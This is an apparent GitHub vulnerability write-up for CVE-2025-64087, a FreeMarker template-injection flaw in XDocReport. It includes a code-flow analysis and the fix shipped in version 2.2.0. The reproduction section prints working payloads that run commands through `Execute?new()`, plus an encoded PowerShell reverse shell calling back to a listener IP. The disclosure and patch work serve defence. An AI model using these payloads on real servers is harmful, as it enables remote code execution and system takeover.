AT190510-Cuong/CVE-2025-64087-SSTI-
GitHub: AT190510-Cuong/CVE-2025-64087-SSTI-
针对 XDocReport 中 FreeMarker 模板引擎 SSTI 漏洞(CVE-2025-64087)的 PoC 代码、利用链分析及修复方案。
Stars: 1 | Forks: 0
# CVE-2025-64087 (SSTI FreeMarker)
# XDocReport 中的服务端模板注入 (SSTI) 漏洞允许通过 Apache FreeMarker 引擎远程执行代码
## 漏洞定义
漏洞概述
- 服务端模板注入 (Server-Side Template Injection, SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到内容管理系统 (CMS) 和 Web 框架使用的模板中,以进行远程攻击、获取敏感信息或进行系统入侵活动。
- SSTI 是注入漏洞 (如 SQL Injection, XSS 等) 的一种变体,黑客利用模板系统部署远程恶意代码。当 SSTI 攻击成功执行时,黑客可以在服务端服务器上执行自己的代码,从而进行远程攻击,例如收集敏感信息、进行系统入侵活动以及访问未授权的资源。
- SSTI 漏洞通常由于使用了不安全的模板系统,或者在将参数插入模板之前未对输入参数进行检查和处理所致。如果 SSTI 攻击成功,后果可能非常严重,并给受攻击的组织造成巨大损失。
商业影响
- SSTI 漏洞可能导致多种严重后果,包括:
- 恶意代码执行:攻击者可以利用此漏洞在服务器上执行恶意代码,从而进行数据窃取、在系统上执行非法操作,甚至完全控制服务器。
- 敏感信息泄露:SSTI 可能允许攻击者读取、更改或删除服务器上的文件。如果这些文件包含敏感信息(如账号和密码),攻击者可以轻易泄露这些信息。
- 威胁攻击或用户欺诈:攻击者可以利用 SSTI 进行威胁攻击或用户欺诈,方法是更改网站内容或添加伪造的自定义按钮。如果用户点击这些按钮,攻击者可能会窃取用户信息或在他们的计算机上安装恶意软件。
## 严重程度: CRITICAL (严重)

## 描述与影响
在 OpenSAGRES XDocReport 使用 FreeMarker 引擎处理 DOCX 模板时发现了一个服务端模板注入 (SSTI) 漏洞。在某些配置下,精心构造的模板可能导致远程代码执行 (RCE)。
人力资源管理网站允许用户将 `.docx` 文档文件上传到系统。在处理过程中,应用程序使用模板引擎 FreeMarker (位于 FreemarkerTemplateEngine.java 文件中) 来渲染内容 `${"freemarker.template.utility.Execute"?new()("whoami")}`,而没有控制或过滤输入内容的机制。
此漏洞允许攻击者将恶意表达式插入 .docx 文件 (模板) 中,从而导致服务器上的远程代码执行 (RCE),并可能被利用来窃取信息或控制系统。
## 受影响组件
fr.opensagres.xdocreport.template.freemarker — XDocReport (版本 1.0.0 至 2.1.0)。
## 根本原因分析
- 在文件 `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java` 中,未检查输入 xdoc 文件的内容。模板内容被直接加载并传递给 process(context, writer, template) 由 FreeMarker 引擎处理,而没有沙箱机制或指令/表达式限制。结果是攻击者可以提供包含恶意 FreeMarker 表达式/命令的模板,导致远程代码执行 (RCE)。

## 复现步骤
1. 用户上传一个 `.docx` 文件,其内容为以下 payload:
```
${"freemarker.template.utility.Execute"?new()("calc")}
```

2. 可以看到成功执行并打开了 calc 应用程序

3. 同样,使用以下 payload 获取系统上正在运行的用户信息:
```
${"freemarker.template.utility.Execute"?new()("whoami")}
```


4. 可以看到经过模板引擎处理的 `.docx` 文件返回了系统数据

5. 同样使用以下 payload:
```
${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
```



6. 将影响升级为 RCE
- 监听机是 ip 地址为 `172.26.208.130` 的 wsl

- 使用以下 payload 进行利用:

```
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
```

- 让 `.docx` 文件通过 xdocreport 处理

- 在 wsl 机器上看到返回的 shell

## 解决方案
### 阻止反射执行 (最安全但在构建中报错)
- 在文件 `xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java` 中添加以下内容


我的修复方法仍然允许像 `${cuong.name}` 那样正常渲染对象和属性,仅拦截危险的内置函数
- **所有 SSTI payload 均被拦截**:
- `${'freemarker.template.utility.Execute'?new()('calc')}` - **被拦截** 由 `ALLOWS_NOTHING_RESOLVER`
- `${'java.lang.Runtime'?api.getRuntime()}` - **被拦截** 由 `setAPIBuiltinEnabled(false)`
- 所有其他使用 `?new()` 和 `?api` 的 payload 均被拦截
### 验证输入
#### **1. 主文件 - FreemarkerTemplateEngine.java**
**路径:** `template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java`
**更改:**
- ✅ **添加 import:** `java.util.regex.Pattern`

- ✅ **添加方法 `validateTemplateSecurity(Reader reader)`** — 验证危险模式

- ✅ **更新 `processNoCache()`** — 在创建 Template 之前添加验证

- ✅ **更新 `process(String templateName, …)`** — 向此方法添加验证

#### **2. 测试文件 - FreemarkerTemplateEngineSecurityTestCase.java**
**路径:** `template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java`
**更改:**
- ✅ **创建新测试用例** — 测试常见的 SSTI payload
- ✅ **测试的主要 payload:** `${"freemarker.template.utility.Execute"?new()("whoami")}`
- ✅ **测试的其他模式:** `?new`, `java.lang.Runtime`, `java.lang.ProcessBuilder` 等。
- ✅ **安全模板测试** — 确保正常模板仍然正常工作
#### **更改摘要**
| 文件 | 更改类型 | 目的 |
| ------------------------------------------------- | -------------- | ---------------------- |
| **FreemarkerTemplateEngine.java** | **已修改** | 添加了 SSTI 保护 |
| **FreemarkerTemplateEngineSecurityTestCase.java** | **新文件** | 测试验证逻辑 |
### 最终修复
- https://github.com/opensagres/xdocreport/pull/705


在 `2.2.0` 补丁版本中已启用保护机制并成功阻止 SSTI

## 参考
- https://portswigger.net/web-security/server-side-template-injection
## 调试环境设置

- 在 Main.java 文件中
```
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
```
- 需要导入的库
```
4.0.0
org.example
vcs1
1.0-SNAPSHOT
18
18
UTF-8
fr.opensagres.xdocreport
fr.opensagres.xdocreport.template.freemarker
2.1.0
fr.opensagres.xdocreport
fr.opensagres.xdocreport.document.docx
2.0.3
```
A
起点 (entry points / sources)
```
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx");
```
→ 主要 source 是这个 DOCX 文件 —— 如果文件由用户上传/写入,其中的模板内容(FreeMarker 语法)即为不可信数据。
```
InputStream input = new FileInputStream(docxTemplate);
```
→ 读取文件内容以传递给 XDocReport。
```
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
```
- loadReport(...) 将解析 (parse) DOCX 文件,查找 DOCX 中的 entry/template 并创建一个 IXDocReport(在其内部将初始化 FreeMarker 的 Template 对象或保留 template 的 reader)。
- DOCX 文件中的模板内容现已位于 report 对象中(尚未执行)。


zipInputStream.getNextEntry() 遍历 ZIP (.docx) 内的每个 entry(每个文件)。
archive = new XDocArchive(...) — 如果尚无 archive,则初始化一个对象以组织/注册文档的 entry。

总之:此段代码将 DOCX 内容解压到一个内部结构 (XDocArchive) 中,以便后续可以访问子文件 (document.xml,...)
```
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
```
| 步骤 | 动作 | 目的 |
| ---- | -------------------- | ---------------------------------------- |
| 1 | 读取 DOCX 文件 | 获取原始报告结构 |
| 2 | 创建 `IXDocReport` | 代表模板 |
| 3 | 分配 ID | 唯一管理 |
| 4 | 选择模板引擎 | 处理表达式 |
| 5 | 如需缓存 | 优化性能 |
| 6 | 返回 report | 用于渲染结果文件 |

总之,在 `IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);` 处没有 SSTI 检查机制,仅加载 docx 中的 xml 文件并返回已准备好处理的 `IXDocReport report`(例如 render, merge 数据…)。

在 `report.process(context, out);` 处

- 这是触发点 (执行 sink):XDocReport 将调用相应的引擎(此处为 FreeMarker)将模板与 context 合并,并将结果渲染到 out。
- 此方法获取之前加载的文档模板(例如 .docx 或 .odt),
然后将来自 context 对象(通常是 IContext)的数据嵌入到模板的变量中。
- 然后将其渲染为完整的文档(包含实际数据)并将结果写入 stream out,即输出到 results.docx 文件。
深入此函数内部,它调用了 `preprocess(...)` 分析 XML,读取每个 XML entry,然后 Parse XML 内容并创建 BufferedDocument,然后写入 Writer(这是经过预处理的 XML 版本)。

```
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}
```

之后它进入 `processNoCache()` 并调用 `getReader()`


函数 `getReader()` 用于在整个模板周围添加 escape 指令包装,以确保内容被安全处理(escape HTML,避免 injection)。

原始模板:
```
Hello ${name}!
```
经 getReader() 处理后:
```
[#--
Hello ${name}!
[/#escape][#--]]>--]
```
它帮助 Freemarker 引擎更安全地读取:
- 保护 XML:Escape XML 中的特殊字符
- 安全处理:避免 Freemarker 解析模板时出错
然后调用 `FMParser` 解析 Freemarker

最后进入 `process()` 调用 `environment.process();` 并读取数据
```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
```
👉 这是最重要的一步 —— 真正的渲染发生在此。
- getTemplate() 返回已解析的 template (AST)。
- getRootTreeNode() 是 FMParser 在解析时创建的语法树的根节点。
- visit() 是 FreeMarker 的核心 API,用于遍历和渲染模板的每个元素,并在 freemarker.core.Environment 中定义
- 遇到 TextBlock → 将 text 写入 out。
- 遇到 Interpolation (例如 `${user.name}`) → 在 dataModel 中查找,获取值,写入 out。
- 遇到 #if, #list, #include, macro → 处理相应逻辑
```
void visit(TemplateElement element) throws IOException, TemplateException {
// ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync!
pushElement(element);
try {
TemplateElement[] templateElementsToVisit = element.accept(this);
if (templateElementsToVisit != null) {
for (TemplateElement el : templateElementsToVisit) {
if (el == null) {
break; // Skip unused trailing buffer capacity
}
visit(el);
}
}
} catch (TemplateException te) {
handleTemplateException(te);
} finally {
popElement();
}
// ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync!
}
```



它在 entryName `word/document.xml` 处触发

接着跳入 `accept()` 函数

```
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```

```
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}
```









`visit()` 函数中的执行流程如下
```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
```
### 调试总结
```
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong `${}` │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 **Kết quả: Server-Side Template Injection (SSTI)**
```
## 🔍 **可利用的关键点摘要**
| 阶段 | 类 | 角色 | 与 SSTI 相关 |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | 加载模板 | 无输入控制 |
| `getReader()` | `TemplateEngine` | 读取模板数据 | 可能包含 payload |
| `FMParser` | `freemarker.core` | 解析内容 | `${}` 变量被解析 |
| `Environment.process()` | `freemarker.core` | 渲染模板 | 调用 `visit()` 遍历每个 node |
| `visit()` / `eval()` | `freemarker.core` | 执行表达式 | **SSTI / RCE 点** |
## 文档
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
标签:Apache FreeMarker, CISA项目, CVE-2025-64087, FreeMarker, GHAS, Java安全, JS文件枚举, RCE, SSTI, Web安全, XDocReport, 代码执行, 安全漏洞, 数据窃取, 服务端模板注入, 模板引擎, 注入攻击, 漏洞分析, 系统入侵, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 隐私保护